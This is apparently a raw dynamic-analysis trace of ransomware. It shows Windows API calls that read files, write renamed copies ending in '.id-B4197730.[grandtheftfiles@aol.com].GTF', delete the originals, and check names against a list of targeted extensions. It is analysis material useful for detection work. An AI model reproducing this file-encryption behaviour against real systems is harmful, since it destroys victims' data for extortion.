	[0068.322] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.322] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.322] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.322] GetLastError () returned 0x0
	[0068.322] ReadFile (in: hFile=0x330, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0068.620] WriteFile (in: hFile=0x334, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0068.622] ReadFile (in: hFile=0x330, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.622] WriteFile (in: hFile=0x334, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.622] SetEndOfFile (hFile=0x334) returned 1
	[0068.622] CloseHandle (hObject=0x334) returned 1
	[0068.623] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.623] SetEndOfFile (hFile=0x330) returned 1
	[0068.624] CloseHandle (hObject=0x330) returned 1
	[0068.624] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.624] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1
	[0068.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.625] lstrlenW (lpString=".doc") returned 4
	[0068.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.625] lstrlenW (lpString=".docx") returned 5
	[0068.625] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.625] lstrlenW (lpString=".pdf") returned 4
	[0068.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.625] lstrlenW (lpString=".xls") returned 4
	[0068.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.625] lstrlenW (lpString=".xlsx") returned 5
	[0068.625] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.625] lstrlenW (lpString=".ppt") returned 4
	[0068.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.625] lstrlenW (lpString=".zip") returned 4
	[0068.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.625] lstrlenW (lpString=".rar") returned 4
	[0068.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.625] lstrlenW (lpString=".bz2") returned 4
	[0068.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.625] lstrlenW (lpString=".7z") returned 3
	[0068.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.625] lstrlenW (lpString=".dbf") returned 4
	[0068.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.625] lstrlenW (lpString=".1cd") returned 4
	[0068.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.626] lstrlenW (lpString=".jpg") returned 4
	[0068.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.626] lstrlenW (lpString=".doc") returned 4
	[0068.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.626] lstrlenW (lpString=".docx") returned 5
	[0068.626] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.626] lstrlenW (lpString=".pdf") returned 4
	[0068.626] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.626] lstrlenW (lpString=".xls") returned 4
	[0068.666] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.666] lstrlenW (lpString=".xlsx") returned 5
	[0068.666] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.666] lstrlenW (lpString=".ppt") returned 4
	[0068.666] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.666] lstrlenW (lpString=".zip") returned 4
	[0068.666] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.666] lstrlenW (lpString=".rar") returned 4
	[0068.666] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.666] lstrlenW (lpString=".bz2") returned 4
	[0068.666] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.666] lstrlenW (lpString=".7z") returned 3
	[0068.666] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.667] lstrlenW (lpString=".dbf") returned 4
	[0068.667] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.667] lstrlenW (lpString=".1cd") returned 4
	[0068.667] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0068.667] lstrlenW (lpString=".jpg") returned 4
	[0068.667] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.667] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.667] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.667] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.675] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=14168) returned 1
	[0068.675] CloseHandle (hObject=0x368) returned 1
	[0068.675] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80
	[0068.675] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.675] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.675] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.676] GetLastError () returned 0x0
	[0068.676] ReadFile (in: hFile=0x368, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0068.766] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0068.768] ReadFile (in: hFile=0x368, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.768] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.768] SetEndOfFile (hFile=0x36c) returned 1
	[0068.768] CloseHandle (hObject=0x36c) returned 1
	[0068.769] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.769] SetEndOfFile (hFile=0x368) returned 1
	[0068.771] CloseHandle (hObject=0x368) returned 1
	[0068.771] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.771] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1
	[0068.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.771] lstrlenW (lpString=".doc") returned 4
	[0068.771] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.771] lstrlenW (lpString=".docx") returned 5
	[0068.771] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.771] lstrlenW (lpString=".pdf") returned 4
	[0068.771] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.771] lstrlenW (lpString=".xls") returned 4
	[0068.771] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.771] lstrlenW (lpString=".xlsx") returned 5
	[0068.771] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.771] lstrlenW (lpString=".ppt") returned 4
	[0068.771] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString=".zip") returned 4
	[0068.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString=".rar") returned 4
	[0068.772] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString=".bz2") returned 4
	[0068.772] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.772] lstrlenW (lpString=".7z") returned 3
	[0068.772] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString=".dbf") returned 4
	[0068.772] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString=".1cd") returned 4
	[0068.772] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString=".jpg") returned 4
	[0068.772] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString=".doc") returned 4
	[0068.772] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString=".docx") returned 5
	[0068.772] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.772] lstrlenW (lpString=".pdf") returned 4
	[0068.772] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString=".xls") returned 4
	[0068.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString=".xlsx") returned 5
	[0068.772] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.772] lstrlenW (lpString=".ppt") returned 4
	[0068.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.772] lstrlenW (lpString=".zip") returned 4
	[0068.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.773] lstrlenW (lpString=".rar") returned 4
	[0068.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.773] lstrlenW (lpString=".bz2") returned 4
	[0068.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.773] lstrlenW (lpString=".7z") returned 3
	[0068.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.773] lstrlenW (lpString=".dbf") returned 4
	[0068.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.773] lstrlenW (lpString=".1cd") returned 4
	[0068.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0068.773] lstrlenW (lpString=".jpg") returned 4
	[0068.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.773] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.773] lstrlenW (lpString="Rotate3.ico") returned 11
	[0068.773] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.777] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=894) returned 1
	[0068.777] CloseHandle (hObject=0x334) returned 1
	[0068.777] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80
	[0068.777] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0068.778] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.778] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.779] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0068.779] GetLastError () returned 0x0
	[0068.779] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0068.850] WriteFile (in: hFile=0x314, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x380, lpOverlapped=0x0) returned 1
	[0068.851] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.851] WriteFile (in: hFile=0x314, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.851] SetEndOfFile (hFile=0x314) returned 1
	[0068.852] CloseHandle (hObject=0x314) returned 1
	[0068.853] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.853] SetEndOfFile (hFile=0x340) returned 1
	[0068.853] CloseHandle (hObject=0x340) returned 1
	[0068.853] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.854] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1
	[0068.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.893] lstrlenW (lpString=".doc") returned 4
	[0068.893] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.893] lstrlenW (lpString=".docx") returned 5
	[0068.893] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0068.893] lstrlenW (lpString=".pdf") returned 4
	[0068.893] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.893] lstrlenW (lpString=".xls") returned 4
	[0068.893] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.893] lstrlenW (lpString=".xlsx") returned 5
	[0068.893] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0068.893] lstrlenW (lpString=".ppt") returned 4
	[0068.894] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString=".zip") returned 4
	[0068.894] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString=".rar") returned 4
	[0068.894] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString=".bz2") returned 4
	[0068.894] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.894] lstrlenW (lpString=".7z") returned 3
	[0068.894] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString=".dbf") returned 4
	[0068.894] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString=".1cd") returned 4
	[0068.894] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString=".jpg") returned 4
	[0068.894] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString=".doc") returned 4
	[0068.894] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.894] lstrlenW (lpString=".docx") returned 5
	[0068.894] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0068.894] lstrlenW (lpString=".pdf") returned 4
	[0068.894] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString=".xls") returned 4
	[0068.894] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString=".xlsx") returned 5
	[0068.894] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0068.894] lstrlenW (lpString=".ppt") returned 4
	[0068.894] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.894] lstrlenW (lpString=".zip") returned 4
	[0068.895] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.895] lstrlenW (lpString=".rar") returned 4
	[0068.895] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.895] lstrlenW (lpString=".bz2") returned 4
	[0068.895] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.895] lstrlenW (lpString=".7z") returned 3
	[0068.895] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.895] lstrlenW (lpString=".dbf") returned 4
	[0068.895] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.895] lstrlenW (lpString=".1cd") returned 4
	[0068.895] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0068.895] lstrlenW (lpString=".jpg") returned 4
	[0068.895] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.895] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.895] lstrlenW (lpString="Save.ico") returned 8
	[0068.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.895] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1150) returned 1
	[0068.895] CloseHandle (hObject=0x338) returned 1
	[0068.895] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80
	[0068.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.896] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.896] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.905] GetLastError () returned 0x0
	[0068.905] ReadFile (in: hFile=0x338, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0068.997] WriteFile (in: hFile=0x35c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x480, lpOverlapped=0x0) returned 1
	[0068.999] ReadFile (in: hFile=0x338, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
